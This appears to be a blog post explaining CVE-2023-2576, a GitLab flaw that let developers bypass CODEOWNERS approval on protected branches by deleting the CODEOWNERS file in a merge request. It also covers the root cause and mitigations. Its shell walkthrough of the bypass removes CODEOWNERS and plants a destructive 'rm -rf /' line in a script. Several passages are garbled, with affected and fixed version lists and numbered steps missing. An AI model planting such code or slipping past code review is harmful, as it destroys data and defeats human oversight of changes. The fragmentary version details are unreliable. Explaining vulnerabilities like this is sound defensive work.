Published: July 2024
Introduction
In mid-2023, a significant security issue—CVE-2023-2576—was discovered in GitLab Community Edition (CE) and Enterprise Edition (EE). This vulnerability broke an important security barrier: it allowed project developers to remove CODEOWNERS rules and merge code into branches that were supposed to be protected.
If you’re managing a DevOps workflow with sensitive code, you’ll want to pay close attention. In this deep-dive, I’ll walk you step-by-step through what happened, show you exactly why it matters (with code!), and explain how attackers could exploit this issue. All in a way anyone can understand.
What Is CODEOWNERS in GitLab?
CODEOWNERS is a feature in GitLab (and also GitHub) that lets you specify exactly who is responsible for approving changes in specific areas of your codebase.
Example CODEOWNERS file
# Only Alice or Bob can approve changes in /src
/src/ @alice @bob
# Only the security team can approve changes to critical files
/secrets/ @security-team
When a user tries to merge changes touching those files, protected branch rules demand that an owner must approve the merge. That’s a vital security layer to keep your main branch safe.
All versions from 16.1 up to (but not including) 16.1.1
If you are running one of these versions, you are at risk.
Reference: GitLab Security Release
The Vulnerability: What Actually Went Wrong?
Normally: If a developer is not listed as a CODEOWNER for a protected branch, they cannot merge in changes without approval.
With CVE-2023-2576 active: A developer could simply remove or modify the .gitlab/CODEOWNERS file and—without approval—merge their changes into a branch guarded by CODEOWNERS.
Exploit Scenario: How Would an Attacker Abuse This?
Goal: Developer wants to sneak unauthorized code into main. Normally, main is CODEOWNED, so no dice.
The code change you want to merge.
- A modification or removal of the .gitlab/CODEOWNERS file.
Before the patch:
- GitLab would check the new CODEOWNERS file (now empty/lacking restrictions)
No approval needed.
4. Developer merges code—including whatever change they wanted, plus the deletion or evisceration of the CODEOWNERS file.
Let’s break down the important part with a code snippet in a shell session
# Clone the repo and create a new feature branch
git clone https://gitlab.example.com/mygroup/myrepo.git
cd myrepo
git checkout -b malicious-feature
# Remove CODEOWNERS
rm .gitlab/CODEOWNERS
# Craft your malicious commit (plus your code!)
echo "rm -rf /" >> src/evil.sh
git add src/evil.sh .gitlab/CODEOWNERS
git commit -m "Remove CODEOWNERS, add my feature"
# Push and create MR to main (protected!)
git push origin malicious-feature
# Now go to the GitLab UI and open a Merge Request to 'main'.
Result: GitLab shouldn’t let you merge this, but on affected versions, it would—no approval required.
Root Cause: Why Did This Happen?
The vulnerability lived in how GitLab enforced CODEOWNERS check during pull/merge requests on protected branches:
- GitLab read the proposed (new) CODEOWNERS file from the feature branch, instead of checking the current one in main.
- So, a developer could change or erase CODEOWNERS in their MR, causing GitLab to think “No codeowner approval needed!”
In proper design, the main branch’s CODEOWNERS should still gate merges, even if the incoming branch tries to delete it.
16.1.1
You must upgrade to at least these versions to be safe.
See the GitLab advisory for details.
Locking CODEOWNERS file in branch settings, so only admins can modify it.
- Monitoring for suspicious deletions/changes to CODEOWNERS via repository audit logs.
Final Thoughts
CVE-2023-2576 is a great example of a subtle but dangerous security bug—one file change could quietly erase all your branch protections.
Always keep your GitLab up to date and review who can push to protected branches and alter CODEOWNERS files.
> “Just because your workflows are designed with security in mind doesn’t mean the tools can’t have bugs.”
References & Further Reading
- Official CVE Entry
- GitLab Security Advisory for CVE-2023-2576
- How CODEOWNERS Works
- Discussion on Hacker News *(discussion around the issue)*
*Stay secure, and always review your workflow security assumptions!*
Timeline
Published on: 07/13/2023 03:15:00 UTC
Last modified on: 07/20/2023 20:33:00 UTC